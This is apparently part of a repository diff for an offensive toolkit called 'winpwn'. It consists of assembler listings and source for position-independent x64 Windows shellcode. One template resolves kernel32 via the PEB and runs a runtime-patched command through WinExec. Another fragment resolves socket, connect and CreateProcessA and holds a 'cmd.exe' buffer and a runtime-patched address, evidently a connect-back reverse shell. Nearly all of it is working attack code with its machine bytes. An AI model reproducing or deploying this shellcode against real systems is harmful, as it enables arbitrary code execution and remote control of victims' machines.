32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
33 <1> ; DataDirectory[0] (export table) offset for PE32+.
34 <1> find_export:
35 00000218 4154 <1> push r12
36 0000021A 4155 <1> push r13
37 0000021C 4156 <1> push r14
38 0000021E 4157 <1> push r15
39 00000220 56 <1> push rsi
40 00000221 57 <1> push rdi
41 00000222 53 <1> push rbx
42 <1>
43 00000223 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine)
44 00000226 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved)
45 <1>
46 00000229 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew
47 0000022E 4C01E0 <1> add rax, r12 ; rax = NT header VA
48 00000231 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
49 00000237 4C01E0 <1> add rax, r12
50 0000023A 4989C6 <1> mov r14, rax ; r14 = export directory VA
51 <1>
52 0000023D 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames
53 00000241 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA
54 00000245 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
55 00000248 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
56 0000024C 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
57 0000024F 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
58 00000253 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
59 <1>
60 00000256 4D31FF <1> xor r15, r15 ; r15 = loop index i
61 <1>
62 <1> .loop:
63 00000259 4939DF <1> cmp r15, rbx
64 0000025C 7D34 <1> jge .notfound
65 <1>
66 0000025E 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i
67 00000262 4C01E0 <1> add rax, r12
68 00000265 4889C6 <1> mov rsi, rax ; rsi = candidate name VA
69 00000268 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt)
70 <1>
71 <1> .cmp_loop:
72 0000026B 8A06 <1> mov al, [rsi]
73 0000026D 8A0F <1> mov cl, [rdi]
74 0000026F 38C8 <1> cmp al, cl
75 00000271 750C <1> jne .next
76 00000273 84C0 <1> test al, al
77 00000275 740D <1> je .found ; both hit NUL with every byte equal -> match
78 00000277 48FFC6 <1> inc rsi
79 0000027A 48FFC7 <1> inc rdi
80 0000027D EBEC <1> jmp .cmp_loop
81 <1>
82 <1> .next:
83 0000027F 49FFC7 <1> inc r15
84 00000282 EBD5 <1> jmp .loop
85 <1>
86 <1> .found:
87 00000284 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i
88 00000289 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA
89 0000028D 4C01E0 <1> add rax, r12 ; absolute address
90 00000290 EB03 <1> jmp .done
91 <1>
92 <1> .notfound:
93 00000292 4831C0 <1> xor rax, rax
94 <1>
95 <1> .done:
96 00000295 5B <1> pop rbx
97 00000296 5F <1> pop rdi
98 00000297 5E <1> pop rsi
99 00000298 415F <1> pop r15
100 0000029A 415E <1> pop r14
101 0000029C 415D <1> pop r13
102 0000029E 415C <1> pop r12
103 000002A0 C3 <1> ret
104 <1>
105 <1> ; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
106 <1> ; -> RAX = absolute address of the export, or 0 on any failure.
107 <1> ;
108 <1> ; find_export alone only works if the target module is *already* loaded
109 <1> ; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
110 <1> ; in a plain console process. When RDX is 0 this is exactly find_export
111 <1> ; (the function is assumed already loaded at the module base in RCX).
112 <1> ; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
113 <1> ; (itself just another find_export call) and called to load-or-fetch the
114 <1> ; named module, then find_export resolves R8 inside *that* module's base.
115 <1> resolve_export:
116 000002A1 4154 <1> push r12 ; kernel32 base
117 000002A3 4155 <1> push r13 ; dll name ptr (or 0)
118 000002A5 4156 <1> push r14 ; func name ptr
119 000002A7 55 <1> push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start
120 000002A8 4889E5 <1> mov rbp, rsp
121 000002AB 4883E4F0 <1> and rsp, ~0xF
122 <1>
123 000002AF 4989CC <1> mov r12, rcx
124 000002B2 4989D5 <1> mov r13, rdx
125 000002B5 4D89C6 <1> mov r14, r8
126 <1>
127 000002B8 4D85ED <1> test r13, r13
128 000002BB 750D <1> jnz .need_loadlibrary
129 <1>
130 000002BD 4C89E1 <1> mov rcx, r12
131 000002C0 4C89F2 <1> mov rdx, r14
132 000002C3 E850FFFFFF <1> call find_export
133 000002C8 EB36 <1> jmp .resolve_done
134 <1>
135 <1> .need_loadlibrary:
136 000002CA 4C89E1 <1> mov rcx, r12
137 000002CD 488D1537000000 <1> lea rdx, [rel name_loadlibrarya]
138 000002D4 E83FFFFFFF <1> call find_export
139 000002D9 4885C0 <1> test rax, rax
140 000002DC 741F <1> jz .resolve_fail
141 <1>
142 000002DE 4C89E9 <1> mov rcx, r13 ; LoadLibraryA(lpLibFileName)
143 000002E1 4883EC20 <1> sub rsp, 0x20 ; shadow space required before any WinAPI call
144 000002E5 FFD0 <1> call rax
145 000002E7 4883C420 <1> add rsp, 0x20
146 000002EB 4885C0 <1> test rax, rax
147 000002EE 740D <1> jz .resolve_fail
148 <1>
149 000002F0 4889C1 <1> mov rcx, rax ; the newly (or already) loaded module's base
150 000002F3 4C89F2 <1> mov rdx, r14
151 000002F6 E81DFFFFFF <1> call find_export
152 000002FB EB03 <1> jmp .resolve_done
153 <1>
154 <1> .resolve_fail:
155 000002FD 4831C0 <1> xor rax, rax
156 <1>
157 <1> .resolve_done:
158 00000300 4889EC <1> mov rsp, rbp
159 00000303 5D <1> pop rbp
160 00000304 415E <1> pop r14
161 00000306 415D <1> pop r13
162 00000308 415C <1> pop r12
163 0000030A C3 <1> ret
164 <1>
165 0000030B 4C6F61644C69627261- <1> name_loadlibrarya: db "LoadLibraryA", 0
165 00000314 72794100 <1>
135
136 00000318 7773325F33322E646C- name_ws2_32: db "ws2_32.dll", 0
136 00000321 6C00
137 00000323 575341537461727475- name_wsastartup: db "WSAStartup", 0
137 0000032C 7000
138 0000032E 736F636B657400 name_socket: db "socket", 0
139 00000335 636F6E6E65637400 name_connect: db "connect", 0
140 0000033D 53657448616E646C65- name_sethandleinformation: db "SetHandleInformation", 0
140 00000346 496E666F726D617469-
140 0000034F 6F6E00
141 00000352 43726561746550726F- name_createprocessa: db "CreateProcessA", 0
141 0000035B 636573734100
142
143 ; lpCommandLine must point at writable memory (CreateProcessA may modify
144 ; it in place) -- fine here since shellcode bytes live in a writable page
145 ; wherever they landed, same as every other template's embedded buffers.
146 00000361 636D642E6578650000- cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0
146 0000036A 000000000000
147
148 align 8
149 wsadata_buf:
150 00000370 00<rep 200h> times 512 db 0
151
152 align 8
153 sockaddr_buf:
154 00000570 0200 dw 2 ; sin_family = AF_INET
155 00000572 0000 dw 0 ; sin_port, patched at runtime (network byte order)
156 00000574 00000000 dd 0 ; sin_addr, patched at runtime (network byte order)
157 00000578 0000000000000000 dq 0 ; sin_zero[8]
+52
View File
@@ -0,0 +1,52 @@
; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's
; base via the PEB (no leak/hardcoded address needed), find WinExec by
; name, and run a command. Returns normally (ret) so the host thread keeps
; running afterward.
;
; cmd_buf is a 260-byte placeholder at the very end of the assembled blob;
; winpwn patches it at runtime with the actual NUL-terminated command
; (see shellcraft.go).
BITS 64
default rel
start:
; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64
; ABI) and stash the post-push rsp in rbp so we can force 16-byte
; alignment below and still land exactly back on the real return
; address afterward. A bare `and rsp, ~0xF` with no matching restore
; before `ret` pops whatever garbage is sitting at the shifted address
; instead of the caller's actual return address — that's the bug this
; replaced (verified by crash: rip ended up pointing into the Go
; runtime's heap, i.e. exactly the kind of stale stack value this leaves
; behind).
push rbp
push r12
mov rbp, rsp
and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
call get_kernel32_base
mov r12, rax ; r12 = kernel32 base
mov rcx, r12
lea rdx, [rel name_winexec]
call find_export
; rax = WinExec address
lea rcx, [rel cmd_buf]
mov edx, 5 ; SW_SHOW
sub rsp, 0x20 ; shadow space required before any WinAPI call
call rax
add rsp, 0x20
mov rsp, rbp
pop r12
pop rbp
ret
%include "resolver.inc"
name_winexec: db "WinExec", 0
align 8
cmd_buf:
times 260 db 0
+155
View File
@@ -0,0 +1,155 @@
1 ; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's
2 ; base via the PEB (no leak/hardcoded address needed), find WinExec by
3 ; name, and run a command. Returns normally (ret) so the host thread keeps
4 ; running afterward.
5 ;
6 ; cmd_buf is a 260-byte placeholder at the very end of the assembled blob;
7 ; winpwn patches it at runtime with the actual NUL-terminated command
8 ; (see shellcraft.go).
9 BITS 64
10 default rel
11
12 start:
13 ; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64
14 ; ABI) and stash the post-push rsp in rbp so we can force 16-byte
15 ; alignment below and still land exactly back on the real return
16 ; address afterward. A bare `and rsp, ~0xF` with no matching restore
17 ; before `ret` pops whatever garbage is sitting at the shifted address
18 ; instead of the caller's actual return address — that's the bug this
19 ; replaced (verified by crash: rip ended up pointing into the Go
20 ; runtime's heap, i.e. exactly the kind of stale stack value this leaves
21 ; behind).
22 00000000 55 push rbp
23 00000001 4154 push r12
24 00000003 4889E5 mov rbp, rsp
25 00000006 4883E4F0 and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
26
27 0000000A E82F000000 call get_kernel32_base
28 0000000F 4989C4 mov r12, rax ; r12 = kernel32 base
29
30 00000012 4C89E1 mov rcx, r12
31 00000015 488D15C7000000 lea rdx, [rel name_winexec]
32 0000001C E839000000 call find_export
33 ; rax = WinExec address
34
35 00000021 488D0DC8000000 lea rcx, [rel cmd_buf]
36 00000028 BA05000000 mov edx, 5 ; SW_SHOW
37 0000002D 4883EC20 sub rsp, 0x20 ; shadow space required before any WinAPI call
38 00000031 FFD0 call rax
39 00000033 4883C420 add rsp, 0x20
40
41 00000037 4889EC mov rsp, rbp
42 0000003A 415C pop r12
43 0000003C 5D pop rbp
44 0000003D C3 ret
45
46 %include "resolver.inc"
1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
3 <1> ; addresses) and resolve any export by name (no hashing, just a linear
4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
5 <1> ; one-shot resolutions).
6 <1> ;
7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
9 <1> ; non-volatile register they touch, so callers can keep values live in
10 <1> ; r12-r15 across calls to either of these.
11 <1>
12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
13 <1> ;
14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
16 <1> ; fixed load order is the same trick essentially every public Windows x64
17 <1> ; shellcode relies on.
18 <1> get_kernel32_base:
19 0000003E 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
20 00000047 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr
21 0000004B 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
22 0000004F 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
23 00000052 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
24 00000055 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
25 00000059 C3 <1> ret
26 <1>
27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
28 <1> ; -> RAX = absolute address of the export, or 0 if not found.
29 <1> ;
30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and
32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
33 <1> ; DataDirectory[0] (export table) offset for PE32+.
34 <1> find_export:
35 0000005A 4154 <1> push r12
36 0000005C 4155 <1> push r13
37 0000005E 4156 <1> push r14
38 00000060 4157 <1> push r15
39 00000062 56 <1> push rsi
40 00000063 57 <1> push rdi
41 00000064 53 <1> push rbx
42 <1>
43 00000065 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine)
44 00000068 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved)
45 <1>
46 0000006B 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew
47 00000070 4C01E0 <1> add rax, r12 ; rax = NT header VA
48 00000073 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
49 00000079 4C01E0 <1> add rax, r12
50 0000007C 4989C6 <1> mov r14, rax ; r14 = export directory VA
51 <1>
52 0000007F 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames
53 00000083 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA
54 00000087 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
55 0000008A 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
56 0000008E 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
57 00000091 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
58 00000095 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
59 <1>
60 00000098 4D31FF <1> xor r15, r15 ; r15 = loop index i
61 <1>
62 <1> .loop:
63 0000009B 4939DF <1> cmp r15, rbx
64 0000009E 7D34 <1> jge .notfound
65 <1>
66 000000A0 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i
67 000000A4 4C01E0 <1> add rax, r12
68 000000A7 4889C6 <1> mov rsi, rax ; rsi = candidate name VA
69 000000AA 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt)
70 <1>
71 <1> .cmp_loop:
72 000000AD 8A06 <1> mov al, [rsi]
73 000000AF 8A0F <1> mov cl, [rdi]
74 000000B1 38C8 <1> cmp al, cl
75 000000B3 750C <1> jne .next
76 000000B5 84C0 <1> test al, al
77 000000B7 740D <1> je .found ; both hit NUL with every byte equal -> match
78 000000B9 48FFC6 <1> inc rsi
79 000000BC 48FFC7 <1> inc rdi
80 000000BF EBEC <1> jmp .cmp_loop
81 <1>
82 <1> .next:
83 000000C1 49FFC7 <1> inc r15
84 000000C4 EBD5 <1> jmp .loop
85 <1>
86 <1> .found:
87 000000C6 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i
88 000000CB 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA
89 000000CF 4C01E0 <1> add rax, r12 ; absolute address
90 000000D2 EB03 <1> jmp .done
91 <1>
92 <1> .notfound:
93 000000D4 4831C0 <1> xor rax, rax
94 <1>
95 <1> .done:
96 000000D7 5B <1> pop rbx
97 000000D8 5F <1> pop rdi
98 000000D9 5E <1> pop rsi
99 000000DA 415F <1> pop r15
100 000000DC 415E <1> pop r14
101 000000DE 415D <1> pop r13
102 000000E0 415C <1> pop r12
103 000000E2 C3 <1> ret
47
48 000000E3 57696E4578656300 name_winexec: db "WinExec", 0
49
50 000000EB 90<rep 5h> align 8
51 cmd_buf:
52 000000F0 00<rep 104h> times 260 db 0
Binary file not shown.
Binary file not shown.
Binary file not shown.